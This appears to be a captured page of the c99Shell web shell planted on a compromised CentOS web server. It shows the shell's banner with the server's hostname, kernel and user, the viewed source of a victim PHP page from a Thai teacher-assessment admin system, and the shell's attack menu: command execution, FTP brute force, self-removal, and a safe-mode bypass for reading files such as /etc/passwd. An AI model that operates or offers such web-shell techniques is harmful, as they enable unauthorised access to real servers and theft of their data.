!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     detailTeacherNotAssess.php (5.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');
include_once 
"../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsDoAssessmentTeach.php";
include_once 
"../class/clsOfficerAssess.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAF = new AssessForm($oCA);
$oDA = new DefineAssessment($oCA);
$oDoTe = new DoAssessmentTeach($oCA);
$oOA = new OfficerAssess($oCA);

$oDA->SearchByKey($defineid,$acadYear,$semester,$noAss);
$oDA->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($oDA->semester);
$oSse->GetRecord();

$oAF->SearchByKey($oDA->assid);
$oAF->GetRecord();

$DoAssTeach $oDoTe->CountDoTeachidByDefineid($oDA->defineid);
?>
<html>
<head>
<title>แสดงรายชื่ออาจารย์ที่ยังไม่ได้ทำการประเมิน</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">

</head><br>
<table width="97%" height="150" border="0" align="center" cellpadding="0" cellspacing="2" >
  <tr height="22">
    <td width="6%" height="22" >&nbsp;</td>
    <td width="10%" align="center">&nbsp;</td>
    <td width="7%" align="center">&nbsp;</td>
    <td width="7%" align="center">&nbsp;</td>
    <td width="10%" align="center">&nbsp;</td>
    <td width="10%" align="center">&nbsp;</td>
    <td width="10%" align="center">&nbsp;</td>
  </tr>
  <tr align="center"> 
    <td height="22" colspan="7"><u><b>รายงานรายชื่ออาจารย์ที่ยังไม่ได้ทำการประเมิน</b></u><br></td>
  </tr>
  <tr align="left"> 
    <td height="22" colspan=2><b>&nbsp;ลำดับที่</b></td>
    <td colspan=5><? echo $oDA->noAss;  ?></td>
  </tr>
  <tr align="left"> 
    <td height="22" colspan=2><b>&nbsp;ปีการศึกษา</b></td>
    <td colspan=5><?php echo $oSse->semesterName;?>/<? echo $oDA->acadYear;  ?></td>
  </tr>
  <tr  align="left"> 
    <td height="22" colspan=2><b>&nbsp;แบบประเมินที่เลือกใช้</b></td>
    <td height="22" colspan=5><font size="2" >
      <?  if($oAF->maintopic == ""){ echo $oAF->nameAss; }else{ echo $oAF->maintopic; } ?>
    </font></td>
  </tr>
  <tr align="left"> 
    <td height="24" colspan=2><b>&nbsp;ช่วงเวลาประเมิน</b></td>
    <td height="24" colspan=5> 
      <?php  echo abbreDate2($oDA->startDate,'/');?>
     <b>&nbsp;ถึง</b>
      <?php  echo abbreDate2($oDA->endDate,'/');?>
     &nbsp;</td>
  </tr>
  <tr  align="left"> 
    <td height="24" colspan=2><b>&nbsp;วันที่ปิดการประเมิน</b></td>
    <td colspan=5><?php echo abbreDate2($oDA->closeDate,'/');?></td>
  </tr>
  <tr align="left"> 
    <td height="24" colspan=2><b>&nbsp;สถานะการประเมิน</b></td>
    <td height="24" colspan=5>
      <? if($DoAssTeach == 0){ ?>
      ยังไม่มีผู้เข้ามาประเมิน 
     <? } else if($DoAssTeach 0){ ?>
      มีผู้เข้ามาประเมินแล้ว  จำนวน  
              <?php echo $DoAssTeach;+"  " ?> คน
      <? ?>
    </td>
  </tr>
</table>
<br>
<table width="97%" border="0" align="center">
  <tr>
    <td width="6%">
        <table width="100%" border="0" align="left" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                            <td width="50" align="center" height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ลำดับที่</strong></font></td>
                            <td width="100" height="22" align="center" colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รหัสอาจารย์</strong></font></td>
                            <td height="22"  align="center" colspan="4"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อ-สกุลอาจารย์</strong></font></td>
                        </tr>
<?php
                        $start 
0;
                        
$i 0;
                        
$oOA->SearchTeacherNotAssess($oDA->acadYear,$oDA->semester,$oDA->assid); // หารายชื่ออาจารย์ที่ยังไม่ได้ทำแบบประเมิน
                        
while($oOA->GetRecord()) {
                            if((
$i%2) == 0)
                                echo 
"<tr>";
                            else
                                echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
                            <td align="center" height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $i+$start+1;?></font></td>
                            <td height="22" align="center" colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oOA->officerCode;?></font></td>
                            <td height="22"  colspan="4"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oOA->prefixName.$oOA->officerName.' '.$oOA->officerSurname;?></font></td>
                            </tr>
<?php
                            $i
++;
                        }

                        if(
$i == 0) {
?>
                        <tr>
                            <td align="center" height="22" colspan="7"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** ไม่ปรากฎรายการดังกล่าวในฐานข้อมูล **</font></td>                            
                        </tr>
<?php    
                        
}
?>
                        <tr>
                            <td height="22" colspan="7"><div align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">รวม <?php echo $i;?> รายการ</font></div></td>
                        </tr>        
                        <tr>
                                <td width="6%" height="22" align="center">&nbsp;</td>
                                <td width="10%" align="center">&nbsp;</td>
                                    <td width="7%" align="center">&nbsp;</td>
                                <td width="7%" align="center">&nbsp;</td>
                                <td width="10%" align="center">&nbsp;</td>
                                <td width="10%" align="center">&nbsp;</td>
                                    <td width="10%" align="center">&nbsp;</td>
                        </tr>                                                            
    </table>    </td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0149 ]--